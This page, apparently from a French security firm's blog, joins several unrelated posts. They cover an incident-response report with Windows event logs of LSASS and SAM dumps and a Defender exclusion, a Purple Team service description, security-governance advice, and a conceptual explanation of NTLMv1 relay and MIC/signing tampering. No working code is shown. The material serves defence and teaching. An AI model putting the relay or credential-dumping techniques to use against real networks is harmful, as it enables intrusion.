Computer=SrvDC11.ad.REDACTED2.fr OriginatingComputer=192.9.101.15 User= Domain= 
EventID=5145 EventIDCode=5145 EventType=8 EventCategory=12811 
RecordNumber=1930282261 TimeGenerated=1730879222 TimeWritten=1730879222 Level=Log 
Always Keywords=Audit Success Task=SEADTOBJECTACCESSDETAILEDFILESHARE Opcode=Info 
Message=A network share object was checked to see whether client can be granted 
desired access. Subject: Security ID: REDACTED2\svcvaronis Account Name: svc_varonis 
Account Domain: REDACTED2 Logon ID: 0x33633592 Network Information: Object Type: File 
Source Address: 10.0.11.4 Source Port: 60284 Share Information: Share Name: 
\*\Users Share Path: \??\C:\Users Relative Target Name: delete.me Access Request 
Information: Access Mask: 0x2 Accesses: WriteData (or AddFile) Access Check 
Results: WriteData (or AddFile): Granted by D:(A;OICI;FA;;;WD)

La création du fichier delete.me dans le C:\Users est une vérification des droits d’accès avec l’outil netscan.

Comme montré plus haut, l’acteur malveillant a procédé à un dump de mémoire du processus LSASS, permettant ainsi d’obtenir les hash des utilisateurs du domaine REDACTED1, et notamment du compte svc_varonis, dont nous observons son utilisation peu après.

Sur SRVFiles, c’est un dump de de la base de registre SAM qui a été réalisée par l’attaquant et détectée par l’EDR SentinelOne

Suite à cette action, il n’a pas été observé d’autres activités de ce type. Le déploiement de LAPS sur le domaine REDACTED2 a permis de maitriser l’impact de l’activité et réduire le risque d’une latéralisation réussie par l’attaquant.

Defense Evasion

Sur le serveur DTC-DC01, l’acteur a mis en place une exclusion à la racine du disque C:\ à 06h19, avant le dépôt de netscan & Advanced IP Scanner. Il n’a pas été observé d’autres actions d’évasion par l’attaquant.

<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
 <System>
 <Provider Name="Microsoft-Windows-Windows Defender" Guid="{11CD958A-C507-4EF3-
B3F2-5FD9DFBD2C78}"/>
 <EventID>5007</EventID>
 <Version>0</Version>
 <Level>4</Level>
 <Task>0</Task>
 <Opcode>0</Opcode>
 <Keywords>0x8000000000000000</Keywords>
 <TimeCreated SystemTime="2024-11-06T06:19:18.889544100Z"/>
 <EventRecordID>43412</EventRecordID>
 <Correlation/>
 <Execution ProcessID="19720" ThreadID="23656"/>
 <Channel>Microsoft-Windows-Windows Defender/Operational</Channel>
 <Computer>DTC-DC01.internal.REDACTED1.com</Computer>
 <Security UserID="S-1-5-18"/>
 </System>
 <EventData>
 <Data Name="Product Name">Microsoft Defender Antivirus</Data>
 <Data Name="Product Version">4.18.24090.11</Data>
 <Data Name="Old Value"/>
 <Data Name="New Value">HKLM\SOFTWARE\Microsoft\Windows 
Defender\Exclusions\Paths\C:\ = 0x0</Data>
 </EventData>
</Event>

Cyber Threat Intelligence

Tactics, Techniques & Procedures – Mitre Att&ck

Indicateurs de compromission

Conclusion

Cette investigation met en lumière une attaque opportuniste dont le point de départ fut la compromission totale d’un domaine Active Directory, suivie d’une tentative de latéralisation vers un second environnement.

L’attaquant, après s’être introduit via un accès VPN et avoir obtenu des privilèges administrateur, a exploité un lien de trust pour étendre sa présence. Bien que les traces disponibles ne révèlent ni exfiltration de données ni persistance avérée, elles soulignent des lacunes critiques : absence de journalisation réseau, rétention insuffisante des logs, et pratiques de sécurité perfectibles, notamment sur la gestion des identités et des accès

L’enquête n’a pas permis d’identifier avec certitude le vecteur d’entrée initial — qu’il s’agisse d’une vulnérabilité sur un équipement périmétrique ou de l’utilisation d’identifiants compromis — ni de déterminer précisément les mouvements de l’attaquant entre le 5 et le 6 novembre, en raison de l’absence de journaux réseau. Ces limites rappellent l’importance d’une collecte exhaustive et d’une conservation adaptée des logs pour une réponse sur incident efficace.

Si la réactivité des équipes a permis de contenir rapidement la menace et d’éviter tout impact majeur, cet incident doit servir de catalyseur pour renforcer la posture de sécurité globale. Le durcissement des infrastructures, l’application systématique du MFA, et une surveillance accrue des accès et des mouvements latéraux s’imposent comme des priorités absolues.

Enfin, cette attaque opportuniste confirme une fois de plus qu’un seul maillon faible — un compte mal sécurisé, une vulnérabilité non corrigée — peut suffire à compromettre l’ensemble d’un écosystème IT. La vigilance, la segmentation des réseaux et l’hygiène des comptes restent les meilleurs remparts contre ce type de menace.

Introduction

Aujourd’hui, les entreprises font face à des attaquants de plus en plus organisés et techniques. Nous effectuons régulièrement des pentests chez nos clients pour anticiper la menace, fournissons des plans d’actions réalistes et actionnables, et nous accompagnons même nos clients dans les phases de remédiation pour effectivement améliorer le niveau de sécurité du système d’information. En effet, nous savons bien qu’il est toujours compliqué pour une entreprise d’avoir le temps, les bras et les connaissances nécessaires pour corriger des vulnérabilités sans perturber la prod.

Malgré tout cela, une entreprise ne sera jamais 100% protégée, sans aucune vulnérabilité. Le risque d’intrusion est toujours présent, il faut absolument en avoir conscience.

Les exercices Red Team que nous menons avec nos clients testent à la fois les capacités de détection de l’entreprise et l'efficacité des processus de réponse à incident face à des scénarios d'attaque réalistes.

Ces différentes missions d’audit et d’accompagnement sont très efficaces, mais présentent une limite importante : Elles ne permettent pas toujours une amélioration immédiate et efficace des capacités de détection. C'est là qu'intervient le Purple Team, qui combine les forces de l'attaque et de la défense pour combler les trous dans la détection.

Un Purple Team, c'est littéralement la fusion du rouge et du bleu. Rouge pour la Red Team (l'équipe d'attaque), bleu pour la Blue Team (l'équipe de défense).

Un Purple Team représente une approche collaborative où les équipes d'attaque et de défense travaillent main dans la main, en temps réel, pour identifier et corriger immédiatement les failles de détection. C'est un changement de paradigme fondamental : on passe d'une logique d'audit à une logique de collaboration.

L'équipe Purple Team chez Login Sécurité

Ce qui nous distingue fondamentalement chez Login Sécurité, c'est notre approche multi-casquettes. Nous ne sommes pas seulement des pentesters, ni uniquement des analystes SOC. Nous sommes les deux à la fois, et c'est là toute notre force.

Nos consultants évoluent entre les différentes activités : ils mènent des tests d'intrusion une semaine, analysent des incidents de sécurité au sein du SOC la semaine suivante, et accompagnent nos clients dans l'amélioration de leurs règles de détection le mois d’après. Cette polyvalence n'est pas un hasard, c'est notre conviction profonde qu’un profil cybersécurité se construit en développant des connaissances autour des différents piliers de la cyber.

Un consultant Login Sécurité qui a passé des mois à analyser des alertes au sein du SOC comprend alors les défis de la détection : les faux positifs qui polluent les tableaux de bord, les corrélations complexes à mettre en place, les limites des outils de SIEM. Quand ce même consultant passe en mode "attaquant" pour un pentest, il sait exactement quelles techniques ont le plus de chances de passer inaperçues.

À l'inverse, un expert qui maîtrise les dernières techniques d'attaque apporte une valeur inestimable quand il travaille côté défense. Il sait reconnaître les IOC (Indicators of Compromise), anticiper les mouvements de l'attaquant, et proposer des règles de détection vraiment efficaces.

Cette double compétence attaque/défense de nos équipes est l'élément clé qui rend nos exercices Purple Team si efficaces. Nos consultants comprennent les contraintes opérationnelles du SOC autant que les motivations de l'attaquant.

Résultat ? Des exercices Purple Team où chaque recommandation est opérationnellement réaliste et chaque amélioration proposée a été éprouvée sur le terrain.

Notre méthodologie

Contrairement à un pentest classique où l'auditeur est majoritairement autonome lors de son audit, nous travaillons en binômes attaque/défense pour créer une dynamique d'amélioration continue.

L'exercice se déroule en minimum deux sessions distinctes, chacune apportant sa valeur ajoutée spécifique. Cette approche en deux temps nous permet de valider l'efficacité des améliorations apportées et de tester la robustesse des nouvelles règles de détection. Ces deux sessions peuvent être répétées plusieurs fois pour un cycle d’amélioration qui va plus en profondeur.

Première session : Identification et amélioration

Réunion de cadrage Purple Team

Tout commence par une réunion de cadrage approfondie avec vos équipes. Cette étape est cruciale car elle détermine la pertinence de l'ensemble de l'exercice. Nous validons ensemble le périmètre technique, identifions vos objectifs prioritaires (améliorer la détection des mouvements latéraux ? Optimiser la détection d'exfiltration ?), et confirmons les capacités théoriques de détection.

Mais surtout, nous proposons des scénarios d'attaques précis adaptés à votre environnement. Chaque scénario est pensé pour tester vos points de vigilance spécifiques et challenger vos règles existantes.

Réalisation des audits en mode collaboratif

Nous avons développé deux modes de collaboration selon votre maturité et vos préférences :

• Mode collaboration directe : Nos équipes Red et Blue travaillent en communication semi-permanente. Nous utilisons le framework Vectr pour documenter en temps réel chaque action d'attaque et chaque réaction (ou absence de réaction) de votre SOC. Des réunions d'avancement quotidiennes permettent d'analyser immédiatement ce qui a été détecté ou non, et surtout pourquoi. Cette approche ultra-collaborative est particulièrement efficace pour les équipes SOC qui souhaitent monter rapidement en compétences et comprendre les subtilités des techniques d'attaque.

• Mode semi-indépendance : Pour reproduire au maximum le comportement d'un vrai attaquant, nous espaçons les communications entre les équipes. Les informations sont regroupées lors de réunions à intervalles définis, toujours documentées dans Vectr. Cette approche permet de tester la détection dans des conditions plus réalistes.

Dans les deux cas, nous accompagnons vos équipes pour améliorer les règles de détection en direct. Quand une technique passe inaperçue, nous ne nous contentons pas de le noter : nous travaillons immédiatement avec vos analystes pour comprendre pourquoi et proposer des améliorations.

Réunion de bilan de session

À l'issue de cette première session, nous organisons une réunion de bilan :

• Analyse de la détection : Nous voyons ensemble ce qui a été détecté ou non, afin d’expliquer les causes des non-détections, et donc d’identifier les angles morts de la couverture.

• Échanges sur les faiblesses : Nous discutons des choix stratégiques pour corriger les faiblesses. Faut-il améliorer la collecte de logs ? Affiner les corrélations ? Modifier les seuils d'alerte ? Ces décisions se prennent ensemble, en tenant compte de vos contraintes opérationnelles.

• Adaptation des scénarios : Pour les attaques qui ont été détectées, notre équipe Red prépare déjà des scénarios alternatifs pour la seconde session, et développera et/ou modifiera des outils qui permettent d’atteindre les mêmes objectifs d’attaque, mais de différentes manières. L'objectif ? Vérifier que vos règles de détection sont robustes et ne se limitent pas à détecter une variante spécifique d'une technique.

Seconde session : Validation et robustesse

La seconde session se concentre sur deux aspects essentiels :

• Test des variations d'attaque : Nous reprenons tous les scénarios qui ont été détectés lors de la première session, mais cette fois avec des variations techniques. Si votre SOC a détecté un mouvement latéral via l’outil psexec.py de la suite « impacket », nous testerons la même technique mais avec quelques modifications apportées à l’outil. L'objectif ? S'assurer que votre détection ne repose pas sur un IOC trop spécifique mais capture bien l'essence de l'attaque.

• Validation des améliorations : Toutes les règles de détection implémentées suite à la première session sont testées en conditions réelles. C'est le moment de vérifier que les améliorations fonctionnent effectivement et qu'elles ne génèrent pas trop de faux positifs.

Flexibilité et adaptation

Notre méthodologie reste flexible et s'adapte à vos découvertes et à l'évolution de vos besoins. La répartition entre les journées d'audit technique et d'amélioration peut évoluer en cours d'exercice selon les enjeux identifiés. Cette adaptabilité garantit que vous tirez le maximum de bénéfices de chaque journée d'intervention.

Le framework Vectr que nous utilisons vous reste accessible après notre intervention, vous permettant de capitaliser sur la documentation de l'exercice et de continuer à améliorer vos processus en autonomie.

Cas d'usage et retours d'expérience

Amélioration de la détection de mouvement latéral

Chez un client du secteur universitaire, nous avons découvert que les techniques de mouvement latéral passaient inaperçues. Des événements clés étaient effectivement émis sur les contrôleurs de domaine et sur les serveurs, mais n’étaient pas centralisés dans le SIEM.

Pendant l'exercice, nous avons travaillé avec les équipes de détection pour donner la liste de ces événements, et développer une règle permettant de détecter des attaques de type « pass-the-hash » avec un outil comme PsExec par exemple.

Cette amélioration a été effective immédiatement, pendant l'exercice. Nous avons pu valider la nouvelle règle en direct.

Détection des premières collectes

Un autre client, dans le secteur de l’alimentation, avait des difficultés à détecter des collectes effectuées par un attaquant, notamment concernant son annuaire LDAP. Un attaquant était en mesure de récupérer presque l’entièreté de son annuaire sans que ça ne lève une seule alerte.

Le Purple Team a permis de mettre ce défaut en évidence, et de fournir les informations et leviers nécessaires à l’équipe SOC pour que cette reconnaissance soit immédiatement détectée, ce qui est un point crucial pour stopper un attaquant avant même qu’il ait eu le temps de faire du mouvement latéral, voire d’élever ses privilèges.

Complémentarité avec les autres services Login Sécurité

Un Purple Team s'inscrit parfaitement dans une démarche globale de cybersécurité. Elle complète idéalement nos autres services :

• Après un audit classique : Le Purple Team permet de valider que les correctifs apportés suite à un audit sont efficaces et bien détectés par le SOC.

• Avant un exercice Red Team : Elle permet d'optimiser les capacités de détection avant de subir un vrai test d'intrusion en conditions réelles.

• En complément du SOC managé : Pour les clients qui utilisent notre SOC managé, le Purple Team permet d'optimiser régulièrement les règles de détection et de maintenir un niveau de vigilance élevé.

• Avec la formation : Nos sessions de formation en cybersécurité peuvent être adaptées suite à un exercice Purple Team pour répondre aux besoins spécifiques identifiés.

Conclusion

Le Purple Team est une approche dynamique, collaborative, et orientée amélioration continue.

Chez Login Sécurité, nous sommes convaincus que le Purple Team permet de significativement améliorer la posture de sécurité d’une entreprise en apportant une vision claire et complète de la capacité de détection de celle-ci.

Les équipes SOC qui ont participé à nos exercices Purple Team profitent de l’expertise de Login Sécurité pour mieux comprendre leurs mécanismes de détection, les événements à analyser, ce qui les rend plus performant dans leur travail quotidien d’analyse d’incidents.

Si votre organisation dispose d'un SOC opérationnel et souhaite passer au niveau supérieur en matière de détection des menaces avancées, le Purple Team pourrait être exactement ce dont vous avez besoin.

Une attaque. Un week-end. Zéro sauvegarde exploitable.

Voilà comment un industriel français a perdu deux semaines de production en 2024. Et il n’était pas “ciblé” : une simple faille VPN non patchée, un mot de passe devinable, et un ransomware qui a fait le reste. Coût estimé : 1,3 million d’euros. Pas de quoi sourire.

Ces histoires, on en entend chaque mois. On les lit dans les bilans de l’ANSSI, dans les alertes sectorielles. Et pourtant, dans beaucoup d’ETI ou de grands groupes, la cybersécurité reste une “to do list” non prioritaire. Manque de temps, de compétences, ou simplement de méthode.

La bonne nouvelle ? Il n’est pas trop tard pour reprendre la main. Et vous n’avez pas besoin de viser ISO 27001 en 6 mois. Il suffit de poser la première brique, solidement.

Premier réflexe : blinder les basiques

Inutile de parler Bastion, CASB ou NAC tant que vos bases ne tiennent pas. Posez-vous ces questions simples :

• Les comptes à privilèges ont-ils une double authentification ?

• Le compte administrateur local de mes serveurs a t’il le même mot de passe partout ? (ou ce fameux compte “support_dsi”?)

• Qui a accès à quoi ? Et pourquoi ?

• Un serveur vulnérable est-il encore en ligne sans correctif depuis mars ?

• Que se passe-t-il si un fichier critique est supprimé ce soir ? Vous restaurez quoi ? Et quand ?

Si vous hésitez, pas besoin de blâmer vos équipes. C’est juste le signe qu’il est temps d’organiser le socle de sécurité. Et là-dessus, les 42 mesures d’hygiène de l’ANSSI sont un excellent début : claires, concrètes, validées.

Trop de chantiers ? Priorisez avec méthode

“On a trop à faire, on ne peut pas tout faire.” Exact. Mais vous pouvez faire mieux, par étapes. C’est exactement ce qu’on a formalisé chez Login Sécurité : un guide de maturité pensé pour vos réalités – pas pour les cabinets qui vivent dans les PowerPoint.

4 niveaux, de “minimal” à “élevé”. Pour chaque niveau, on vous dit :

➡ ce qui est critique,
➡ ce qui peut attendre,
➡ ce qui vous protège vraiment.

Ce n’est pas du copier-coller ISO 27001. C’est du retour d’incident, de l’audit terrain, du vécu. Et ça vous aide à arbitrer, à justifier un budget, à cadrer les équipes.

La cybersécurité ne se fait pas depuis la DSI. Elle se décide en COMEX.

Quand une organisation reste bloquée sur “des actions techniques à faire”, c’est souvent qu’elle manque d’un cadre de gouvernance clair.

Voici ce qu’il faut poser rapidement :

• Un sponsor dans le COMEX, qui assume le sujet et débloque les arbitrages.

• Un RSSI identifié, avec des moyens, pas juste une casquette en plus.

• Des procédures simples : qui fait quoi en cas d’incident ? Qui valide un accès admin ? Qui gère les prestataires ?

Et surtout, commencez à parler sécurité métier : “Combien coûte une journée sans ERP ?”, “Pendant combien de temps peut-on se passer des outils de prod ?”, “Avez vous conscience qu’en moyenne, une attaque par Ransomware, c’est 3 semaines d’indisponibilité de l’ensemble du SI?”. C’est là que la cybersécurité devient une priorité pour le Comex.

Et après ? Passez en mode “risques pilotés”

Une fois les fondations posées, vous pouvez sortir du mode pompier.
C’est le moment de cartographier les risques réels :

• Quels actifs sont les plus critiques ?

• Où est la plus grosse exposition (outils SaaS ? industriels ? mobilité ?) ?

• Quelles sont les menaces les plus probables pour vous ?

Pas besoin de faire un “risk manager” de chaque chef de service. Mais une démarche simple, pilotée par le RSSI, vous permettra de cibler les vraies failles, d’anticiper, de sécuriser sans surinvestir.

En résumé : commencez. Sérieusement, mais simplement.

Vous n’êtes pas seul.

Login Sécurité est là pour vous accompagner, sans bullshit. On parle le même langage que vos équipes techniques, on connaît vos contraintes, on sait transformer vos chantiers en priorités actionnables.

Et on ne vous lâche pas après le PowerPoint.

NTLM est un des protocoles utilisés dans les mécanismes d'authentification des environnements Windows. Il est encore très présent malgré le fait que Microsoft essaye de le pousser vers la sortie au profit de Kerberos.

En effet, de nombreuses vulnérabilités sont présentes au sein de ce protocole. Nous allons nous intéresser dans cet article à celles de sa première version : NTLMv1.

Les attaques décrites dans cette série d'articles seront effectuées dans un environnement à jour, avec tous les patches de sécurité installés sur les clients comme sur les serveurs/contrôleurs de domaine (au 13/02/2025, date d'écriture de cet article). Nous partirons, bien sûr, du principe que les administrateurs ont activé les réponses NTLMv1 sur les contrôleurs de domaine puisque c'est le sujet de l'article (notre expérience en pentest interne nous montre que ça n'est pas si rare que ça pourrait en avoir l'air).

Nous commencerons par une rapide explication du fonctionnement du protocole.

Ensuite, nous aborderons le sujet du relais NTLM, puis nous continuerons avec les différences entre les versions 1 et 2 du protocole.

Dans l'article suivant, nous mettrons en place une série d'attaques permises par la version 1 du protocole.

Enfin, dans le dernier article, nous parlerons des remédiations et de comment limiter l'impact de leurs mises en place.

Le protocole NTLM

Qu'est-ce que NTLM

Dans un environnement Active Directory NTLM peut être utilisé pour la phase d'authentification pour de nombreux protocoles. On le retrouve le plus souvent lors de l'utilisation de LDAP, SMB ou encore HTTP.

L'authentification via le protocole NTLM est relativement simple à expliquer puisqu’elle se limite à 3 requêtes :

• NEGOCIATE

• CHALLENGE

• AUTHENTICATE

‍NEGOCIATE

C'est la première requête. Le client demande à s'authentifier auprès du serveur. Il lui fournit son nom d'utilisateur.

CHALLENGE

La réponse du serveur à NEGOCIATE. Celui-ci génère et fournit dans la requête, une chaine de 16 caractères hexadécimaux appelés "challenge".

AUTHENTICATE

Dernière requête. Le client calcule la réponse NTLM en utilisant le challenge envoyé par le serveur et un dérivé du mot de passe de l'utilisateur (son secret).

Des schémas expliquant le mécanisme d'authentification du protocole NTLM sont disponibles à peu près partout sur internet mais pour une question de droit d'auteur, nous allons en utiliser un nouveau qui ressemblera à tous les autres :

Pour résumer rapidement, voici comment tout ça fonctionne :

• ‍NEGOCIATE : demande d'authentification du client‍

• CHALLENGE : réponse du serveur avec le challenge‍

• AUTHENTICATE : calcul et envoi de la réponse NTLM

‍

Validation‍

Le serveur doit maintenant vérifier que la réponse apportée par le client est correcte et si c'est le cas, il accepte l'authentification. Pour ça il doit être en possession du challenge utilisé ainsi que du secret du client.

Pour le challenge c'est facile, c'est lui qui l'a généré. Pour le secret, il existe deux possibilités :

‍

Le serveur connait le secret :

C'est le cas pour une authentification avec un utilisateur local au serveur ou vers un contrôleur de domaine.

Le serveur est en mesure de calculer lui-même la réponse NTLM (secret + challenge). Il la compare alors avec celle envoyée par le client, si elles sont identiques : bravo, l'utilisateur a prouvé qu'il était en procession de son secret, il peut s'authentifier. Sinon, l'authentification est refusée.

Calcul de la réponse NTLM par le serveur

Le serveur NE connait PAS le secret:

Dans ce cas, si nous sommes dans unenvironnement Active Directory, le serveur va demander à quelqu'un qui connaitle secret de l'utilisateur de valider l'authentification : un contrôleur dedomaine (DC).

Le serveur va donc envoyer au contrôleur de domaine le challenge qu'il avait généré pour le client, le nom de l'utilisateur qui essaye de s'authentifier ainsi que la réponse NTLM que ce dernier a apportée. Cette étape constitue la requête NETLOGON.

Avec ces informations, le contrôleur de domaine est en mesure de calculer la réponse NTLM et ainsi de vérifier la validité de celle renvoyée par le client. Il répondra finalement au serveur en l'informant de la réussite ou nom de l'authentification.

On va reprendre le schéma précédent en y ajoutant ces nouvelles étapes pour que ça soit plus clair :

‍

Authentification NTLM via NETLOGON

Les explications ci-dessus sont en fait un résumé de ce qui se passe lors de l'authentification. Un excellent article en langue française, écrit par Pixis explique en détail le fonctionnement de NTLM. On vous le conseille, c'est très bien expliqué.

‍

Le relais NTLM

La grande majorité des attaques liées à NTLM nécessitent que l'attaquant relaie des requêtes d'authentification. Nous allons voir ici pourquoi et comment ça marche.

Théorie

Si l'attaquant est en mesure de recevoir une requête NEGOCIATE émise depuis un véritable client (par exemple en se positionnant en man-in-the-middle), il lui sera possible de relayer cette requête vers la machine de son choix afin de s'authentifier au nom du client légitime.

Pour résumer, l'attaquant joue simplement le rôle de passe-plat jusqu'à la fin de l'authentification.

‍

Attaque par relais de l’authentification

Petite explication :

‍

1. Le client envoie la requête NEGOCIATE vers l'attaquant qui la transmet telle quelle au serveur ciblé. L'authentification est initiée.

2. Le serveur génère et envoie le challenge à la machine de l'attaquant qui le relai vers le client légitime.

3. Le client calcule la réponse NTLM à l'aide du mot de passe de son utilisateur et une nouvelle fois, l'envoie vers l'attaquant qui transmet au serveur.

4. Le serveur valide l'authentification qui, de son point de vue, provient de l'attaquant.

5. L'attaquant est maintenant authentifié auprès du serveur en tant que l'utilisateur du client.

Tout au long des échanges, l'attaquant joue donc le rôle de serveur (du point de vue du client) et de client (du point de vue du serveur cible).

Si par exemple il s'agissait d'une authentification permettant l'accès au serveur via SMB, l'attaquant serait alors en mesure de parcourir les répertoires lisibles par l'utilisateur légitime dont il a usurpé la connexion.

Enfin c'est le cas uniquement si la signature des échanges n'a pas été négociée ...

Signature

Qu'est-ce que c'est

La signature des échanges est un mécanisme de sécurité qui peut être négocié entre le client et le serveur pendant l'authentification. Son rôle est d'assurer aux deux parties que chacune d'entre elles est bien qui elle prétend être.

Elle s'applique sur la session, c'est-à-dire sur tous les échanges qui ont lieu après l'authentification (par exemple lors du listage ou du parcours des répertoires d'un partage SMB).

Si la signature a été négociée, chaque requête de la session devra contenir une signature qui est dérivée du secret de l'utilisateur et du contenu de ladite requête. La signature ne peut donc être valide que si l'émetteur de la requête connait le secret de l'utilisateur.

De ce fait, même si un attaquant a réussi la phase d'authentification grâce à une attaque par relai, il ne sera pas en mesure de signer les messages de la session. Le serveur rejettera donc la suite de la communication.

Négociation

Suivant les protocoles utilisés, la signature peut se négocier de différente façon. Sans entrer dans les détails, il faut retenir qu'il s'agit d'un drapeau défini, ou non, par les deux parties.

Si tout le monde est d'accord, on signe. Dans les faits c'est un peu plus complexe puisque suivant la valeur des différents drapeaux, la signature peut être obligatoire ("require") ou optionnelle ("enable").

Dans le cas où elle est obligatoire, si une des deux parties n'est pas en mesure de signer, alors la communication ne se poursuit pas.

Si elle est optionnelle, on continue sans signature.

Le drapeau définissant si la signature a été négociée est Negociate Always Signing.

‍

Drapeau Negociate Always Sign

Retenez simplement que si signature il y a, les attaques se basant sur le relai deviennent impossibles.

Altération

Comme nous l'avons vu, toutes les requêtes de la phase d'authentification passent par l'attaquant.

Si on ajoute à cela le fait que la négociation de la mise en place de la signature se fait justement pendant cette phase, alors pourquoi ne pas simplement altérer les requêtes pour négocier le fait de ne PAS signer la session?

Et bien c'est possible, du moins dans certains cas.

Si aucune des deux parties ne requiert la négociation (celle-ci est donc optionnelle), alors on va pouvoir changer les drapeaux pour signifier au client et au serveur qu'on ne souhaite pas signer la session qui suit.

Nous en reparlerons dans le chapitre suivant.

‍

Les deux versions de NTLM

Le protocole NTLM connait actuellement deux versions. La version 2 apporte son lot de sécurités, notamment dans le contenu de la requête AUTHENTICATE. Nous allons en décrire quelques-unes dans les lignes qui suivent.

Dans ce chapitre, on va un peu parler de cryptographie (sans entrer dans les détails). Retenez simplement ce qu'est un hash NT : il s'agit du hash MD4 du mot de passe de l'utilisateur. Pour simplifier, c'est un dérivé de son mot de passe.

Calcul de la réponse NTLM - mécanisme de chiffrement

Comme décrit plus haut, le hash NT de l'utilisateur est utilisé dans le mécanisme de calcul de la réponse au challenge, envoyé par le serveur (AUTHENTICATE). Sans trop entrer dans les détails, voici les différences notables qu'il existe dans ce calcul pour les deux versions de NTLM.

En version 1, la réponse au challenge est calculée en utilisant un chiffrement de type DES (Data Encryption Standard). DES est un algorithme de chiffrement par bloc, dont la faiblesse et la facilité de cassage sont maintenant reconnues.

Ainsi, le Hash NT est utilisé comme clé pour chiffrer le challenge, via l'algorithme DES :

‍

Voici concrètement à quoi ça ressemble dans la requête AUTHENTICATE :

Réponse NTLMv1

DES étant un algorithme très faible, la récupération du mot de passe de l'utilisateur par le cassage de la réponse est tout à fait envisageable, mais nous y reviendrons dans l’article sur les attaques.‍

La version 2 utilise quant à elle un algorithme de type HMAC basé sur MD5, qui présente une sécurité bien plus robuste face aux tentatives de cassage par brute force.

Il reste cependant possible de mettre en œuvre des attaques de cassage par dictionnaires, mais cela demandera beaucoup plus de temps qu'avec la version 1.

Voici comment est calculée la réponse pour NTLMv2:

Ce qui, une fois les variables remplacées, donne :

Alors comme ça, c'est sûr, on n’y comprend pas forcément grand-chose mais on peut déjà remarquer une plus grande complexité dans ce calcul que dans celui de la version 1, via l'utilisation de plus de paramètres (on y reviendra plus tard) et surtout la présence de plusieurs fois l'utilisation de HMAC.

Le contenu d'AUTHENTICATE pour la version 2 :

Réponse NTLMv2

‍

On remarque que bien plus de données sont disponibles dans cette réponse que dans celle présentée plus haut. On va s'y intéresser, c'est la suite de cet article.

Le détail des calculs présentés ici est disponible dans la documentation Microsoft pour NTLM v1 et NTLM v2.

‍

Note : nous ne nous sommes intéressés ici qu'à l'utilisation de hash NT. Un hash LM peut également être utilisé mais cette pratique est plus que déconseillée puisque les mécanismes de chiffrement en jeu sont, dans ce cas, encore plus faible. Il devient plus que trivial de casser les mots de passe lors de son utilisation.

Contenu de la réponse

Nous avons pu voir précédemment que le contenu des réponses NTLM n'est pas du tout le même suivant la version du protocole.

Pour NTLMv1, c'est facile, c'est juste le résultat d'un chiffrement DES. Les données présentes dans la réponse NTLMv2 sont bien plus intéressantes car elles ajoutent quelques mécanismes de sécurité.

Reprenons le contenu de la requête AUTHENTICATE en version 2 :

‍

AV Pairs

‍

On remarque toute une série d'attributs qui n'étaient pas présents dans la réponse NTLMv1. Il s'agit des AV Pairs (Attribut/Value Pairs).

Ils contiennent des informations permettant de sécuriser et d'identifier la requête (noms DNS/NETBIOS du serveur cible et de son domaine). Nous verrons par la suite pourquoi ils sont importants.

Message Integrity Code (MIC)

Une des sécurités mises en place sur le protocole NTLM est l'ajout d'un contrôle d'intégrité sur la requête AUTHENTICATE.

Sa fonction est de vérifier que le contenu de cette requête n'a pas été modifié. Ce rôle est rempli par le MIC.

Comme pour la signature, un drapeau indique s'il doit être utilisé. Il s'agit de "Negociate Sign" (oui, ça ressemble au drapeau gérant la signature de session mais ça n'est pas le même).

‍

Drapeau Negociate Sign

‍

Le MIC est calculé en reprenant, entre autre, le contenu de la réponse NTLM.

‍

MIC

Reprenons l'attaque par relai vue plus haut.

On a dit qu'il était possible d'altérer les requêtes du processus d'authentification en changeant les drapeaux négociant la signature, pour désactiver cette dernière.

Cette technique devient impossible si le MIC est en place puisque si nous changeons le contenu de la réponse (en modifiant un drapeau), alors la valeur du MIC ne correspondra plus à celle indiquée dans la requête.

‍

Mais qu'est-ce qui nous empêche de changer la valeur du MIC?

Pour NTLMv2, ça n'est pas possible.

Pour le comprendre, on va entrer plus en détail dans le calcul du MIC.

Comme indiqué précédemment, le calcul du MIC prend en compte le contenu de la réponse NTLM et en particulier le NTProof.

Petit rappel :

On remarque qu'il est calculé, entre autres à partir du Hash NT du secret de l'utilisateur, que nous ne possédons pas. Il n'est donc pas possible de fournir un MIC correct. Le serveur rejettera l'authentification.

Et si on changeait la valeur des drapeaux pour faire croire au serveur que le client ne veut pas utiliser le MIC?

Toujours à cause du contenu de la réponse, en NTLMv2 ça n'est pas possible.

Vous vous rappelez des AV PAIRS? L'un d'entre eux, nommé sobrement "Flags", indique si le MIC a été négocié. S'il est défini à 2, alors le MIC est utilisé.

Flags dans les AV Pairs

Cette valeur est contenue dans le calcul du MIC puisqu’intégrée à la réponse NTLMv2. Impossible donc de la modifier sans altérer le MIC.

En NTLMv1, par contre, aucune indication de ce type n'est présente dans la réponse puisqu'on a vu qu'il s'agit uniquement du chiffrement du challenge du serveur, avec le hash NT de l'utilisateur.

Rien ne nous empêche donc de changer les drapeaux et retirer le MIC de la réponse AUTHENTICATE. Sans MIC, on est également en mesure de modifier arbitrairement toute la requête et, par exemple, retirer la négociation de la signature.

Ainsi, en NTLMv1, si aucune des deux parties n'oblige l'utilisation de la signature, les attaques par relais aboutiront.

Gardez en tête que, à l'exception des contrôleurs de domaine, le comportement par défaut des machines Windows (serveurs ou non) est de proposer la signature sans l'obliger. On commence donc à comprendre pourquoi NTLMv1 est si dangereux.

On va maintenant pouvoir passer de la théorie à la pratique et se convaincre définitivement que l'utilisation de NTLMv1 dans un système d'information devrait être prohibée.

Accrochez-vous, le FUN commence dans le prochain article

‍

Bibliographie et sources :

• ‍https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/c0250a97-2940-40c7-82fb-20d208c71e96

• ‍https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/5e550938-91d4-459f-b67d-75d70009e3f3

• ‍https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/83f5e789-660d-4781-8491-5f8c6641f75e

• ‍https://beta.hackndo.com/ntlm-relay/

• ‍https://medium.com/@petergombos/lm-ntlm-net-ntlmv2-oh-my-a9b235c58ed4

• ‍https://www.calcomsoftware.com/why-ntlmv1-will-always-be-vulnerable-to-ntlm-relay-attacks/

• ‍https://securityboulevard.com/2022/08/ntlmv1-vs-ntlmv2-digging-into-an-ntlm-downgrade-attack/

Cet article a pour but de montrer quelques-unes des attaques existantes sur la version 1 du protocole NTLM.

